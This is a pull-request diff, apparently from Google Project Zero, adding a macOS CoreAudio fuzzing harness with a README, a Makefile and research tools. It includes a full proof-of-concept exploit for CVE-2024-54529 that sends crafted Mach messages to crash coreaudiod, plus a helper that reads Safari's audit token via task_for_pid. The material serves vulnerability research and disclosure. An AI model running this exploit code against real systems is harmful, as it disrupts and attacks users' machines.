Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
65 changes: 65 additions & 0 deletions CoreAudioFuzz/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
# Copyright 2025 Google LLC

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at

# https://www.apache.org/licenses/LICENSE-2.0

# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# Compilers
CC = clang
CXX = clang++

# Frameworks and Libraries
FRAMEWORKS = -framework Foundation -framework CoreAudio

# Compiler Flags
CFLAGS = -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17#-fsanitize=address

INCLUDE_PATHS = -I./helpers -I.

# Source Files
SOURCES = harness.mm \
helpers/SwizzleHelper.mm \
helpers/debug.cc \
helpers/initialization.cc \
helpers/load_library.cc \
helpers/audit_token.cc \
helpers/message.cc \

# Header Files (not mandatory to list them, but can be useful)
HEADERS = helpers/SwizzleHelper.h \
helpers/debug.h \
helpers/initialization.h \
helpers/load_library.h \
helpers/audit_token.h \
helpers/message.h \
harness.h

# Output Executables
OUTPUT = harness
DYLIB_OUTPUT = libmach-modify.dylib

# Default target
all: $(OUTPUT) $(DYLIB_OUTPUT)

# Link and compile the source files into the output executable
$(OUTPUT): $(SOURCES)
$(CXX) $(CFLAGS) $(INCLUDE_PATHS) $(FRAMEWORKS) $(SOURCES) -o $(OUTPUT)

# Build the dynamic library
$(DYLIB_OUTPUT): mach-modify.c
$(CC) -dynamiclib -g -o $(DYLIB_OUTPUT) mach-modify.c -ldl -framework CoreAudio $(INCLUDE_PATHS)

# Clean the build artifacts
clean:
rm -f $(OUTPUT) $(DYLIB_OUTPUT)

# Phony targets
.PHONY: all clean
58 changes: 58 additions & 0 deletions CoreAudioFuzz/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
![Breaking the Sound Barrier](./breaking-the-sound-barrier.png)

## Overview

This repository contains an open-source fuzzing harness designed to fuzz Apple's CoreAudio framework using Mach messages. The harness integrates with [Jackalope](https://github.com/googleprojectzero/Jackalope) and [TinyInst](https://github.com/googleprojectzero/TinyInst) to facilitate black box dynamic instrumentation and fuzzing. This work serves as a companion to my [Project Zero Blog Post](#TODO), demonstrating how to identify and analyze vulnerabilities in macOS's `coreaudiod` process.

## Features
- **Fuzzing Harness**: A specialized harness for fuzzing CoreAudio via Mach messages.
- **Jackalope Integration**: Uses Jackalope for testcase management and corpus mutation.
- **Custom Function Hooks**: Contains custom function hooks to bypass areas creating fuzzing bottlenecks.
- **TinyInst Support**: Enables lightweight dynamic instrumentation to track coverage.
- **Reproducibility**: Allows others to replicate my fuzzing setup and extend research efforts.

## Building the Harness

### Prerequisites
Ensure you have the following dependencies installed:
- macOS (tested on latest stable versions)
- Xcode and Command Line Tools
- Make sure you have launched Xcode at least once
- CMake
- Clang

### Building the Fuzzing Harness
```
make
```
### Building Jackalope fuzzer with Custom Function Hooks
```
cd jackalope-modifications
git clone https://github.com/googleprojectzero/Jackalope.git
cd Jackalope
git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst.git
cd ..
mkdir build
cd build
cmake -G Xcode ..
cmake --build . --config Release
```
**Note:** The custom function hook instrumentation is specifically designed to be run on x86 MacOS systems

## Usage

### Running the Fuzzing Harness
- `unzip` the provided `corpus.zip` file to use high-quality input samples generated during the research
- The provided `run.sh` script will run the freshly built `coreaudiofuzzer` with my fuzzing harness, corpus, and function hooks applied
```
./run.sh
```

## Contributing
Contributions are welcome! Feel free to open issues and pull requests to improve the harness or expand its functionality.

## Contact
For questions or discussions, feel free to reach out via GitHub issues or contact me directly.

---

Binary file added CoreAudioFuzz/breaking-the-sound-barrier.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CoreAudioFuzz/corpus.zip
Binary file not shown.
166 changes: 166 additions & 0 deletions CoreAudioFuzz/cve-2024-54529-poc-macos-sequoia-15.0.1.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
/*
Copyright 2025 Google LLC

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

https://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <launch.h>
#include <string.h>
#include <servers/bootstrap.h>
#include <mach/vm_map.h>

#define XSYSTEM_OPEN_MSG_SIZE 0x38
#define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24

typedef struct {
mach_msg_header_t header;
mach_msg_size_t msgh_descriptor_count;
mach_msg_port_descriptor_t descriptor[1];
char body[];
} xsystemopen_mach_message;

typedef struct {
mach_msg_header_t header;
char body0[8];
uint32_t object_id;
} xworkgroup_mach_message;

mach_port_t create_mach_port_with_send_and_receive_rights() {
mach_port_t port;
kern_return_t kr;

// Allocate a port with receive rights
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr));
exit(1);
}

// Insert a send right for the port
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr));
exit(1);
}

return port; // Return the port with send rights
}

int main(int argc, char *argv[]) {
printf("Getting started...\n");

int opt;
char *service_name = "com.apple.audio.audiohald";
mach_port_t destination_port = MACH_PORT_NULL;

mach_port_t bootstrap_port;
kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Failed to get bootstrap port, error: %s\n", mach_error_string(kr));
return 1;
}

printf("Got Bootstrap port! %d\n", bootstrap_port);

kr = bootstrap_look_up(bootstrap_port, service_name, &destination_port);
if (kr != KERN_SUCCESS) {
printf("bootstrap lookup failed, error: %s\n", mach_error_string(kr));
return 1;
}
printf("Got service port! %d\n", destination_port);

mach_msg_return_t result;

// Send _XSystem_Open message to initialize client
xsystemopen_mach_message *xsystemopen_msg = malloc(XSYSTEM_OPEN_MSG_SIZE);

mach_port_t reply_port;
// Set up the memory for descriptor
mach_port_t send_right_port = create_mach_port_with_send_and_receive_rights();

xsystemopen_msg->msgh_descriptor_count = 1;
xsystemopen_msg->descriptor[0].name = send_right_port;
xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND;
xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR;

xsystemopen_msg->header.msgh_remote_port = destination_port;
xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL;
xsystemopen_msg->header.msgh_id = 1010000;

kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Error allocating reply port: %s\n", mach_error_string(kr));
return kr;
}

xsystemopen_msg->header.msgh_local_port = MACH_PORT_NULL;
xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX);

result = mach_msg(
&xsystemopen_msg->header, // Pointer to the message header
MACH_SEND_MSG, // Send the message and then receive a reply in one call
XSYSTEM_OPEN_MSG_SIZE, // Send size
0, // Receive buffer size (larger than send size)
send_right_port, // Local port to receive the reply
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL
);

free(xsystemopen_msg);

fprintf(stderr, "Sent Mach message: %s\n", mach_error_string(kr));

if (kr != KERN_SUCCESS) {
fprintf(stderr, "Error sending Mach message: %s\n", mach_error_string(kr));
return 1;
}

printf("XSystem_Open stage complete.\n");

xworkgroup_mach_message *workgroup_msg = malloc(XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE);

workgroup_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_PORT_NULL, MACH_PORT_NULL, MACH_PORT_NULL);
workgroup_msg->header.msgh_size = XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE;
workgroup_msg->header.msgh_remote_port = destination_port;
workgroup_msg->header.msgh_local_port = MACH_PORT_NULL;
workgroup_msg->header.msgh_id = 1010059;

// Arbitrary object ID (0x1 this will retrieve the HAL System type, it's expecting an IOContext type, so it will crash)
workgroup_msg->object_id = 0x1;

result = mach_msg(
&workgroup_msg->header, // Pointer to the message header
MACH_SEND_MSG, // Just send the message
XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE, // Send size
0, // Don't need to receive this message
MACH_PORT_NULL, // Don't need to receive this message
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL
);

if (result != KERN_SUCCESS) {
fprintf(stderr, "Error in mach_msg send and receive: %s\n", mach_error_string(result));
free(workgroup_msg);
return 1;
}

free(workgroup_msg);

printf("XIOContext_Fetch_Workgroup_Port mach message processed successfully.\n");

return 0;
}
104 changes: 104 additions & 0 deletions CoreAudioFuzz/get-safari-audit-token/get-token.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
/*
Copyright 2025 Google LLC

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

https://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <sys/sysctl.h>
#include <string.h>
#include <libproc.h>

// Define PROC_PIDPATHINFO_MAXSIZE if not defined
#ifndef PROC_PIDPATHINFO_MAXSIZE
#define PROC_PIDPATHINFO_MAXSIZE 4096
#endif

// Function to get the PID of Safari
pid_t get_safari_pid() {
// Get the size of the buffer needed
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0};
size_t len = 0;

if (sysctl(mib, 4, NULL, &len, NULL, 0) < 0) {
perror("sysctl");
return -1;
}

// Allocate memory for the process list
pid_t *pids = (pid_t *)malloc(len);
if (pids == NULL) {
perror("malloc");
return -1;
}

// Get the list of processes
if (sysctl(mib, 4, pids, &len, NULL, 0) < 0) {
perror("sysctl");
free(pids);
return -1;
}

// Iterate over the list to find Safari
int num_pids = len / sizeof(pid_t);
for (int i = 0; i < num_pids; i++) {
pid_t pid = pids[i];
if (pid == 0) {
continue;
}

char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
if (strstr(pathbuf, "Safari.app/Contents/MacOS/Safari") != NULL) {
free(pids);
return pid;
}
}
}

free(pids);
return -1; // Safari not found
}

int main() {
pid_t safari_pid = get_safari_pid();
if (safari_pid == -1) {
printf("Safari not found.\n");
return 1;
}

printf("Safari PID: %d\n", safari_pid);

// Obtain the audit token of Safari
task_t task;
kern_return_t kr = task_for_pid(mach_task_self(), safari_pid, &task);
if (kr != KERN_SUCCESS) {
printf("Error getting task for PID %d: %s\n", safari_pid, mach_error_string(kr));
return 1;
}

audit_token_t token;
mach_msg_type_number_t size = TASK_AUDIT_TOKEN_COUNT;
kr = task_info(task, TASK_AUDIT_TOKEN, (task_info_t)&token, &size);
if (kr != KERN_SUCCESS) {
printf("Error getting task audit_token: %s\n", mach_error_string(kr));
return 1;
}

printf("Audit token: %d\n", token.val); // The PID is in token.val[5]

return 0;
}

Loading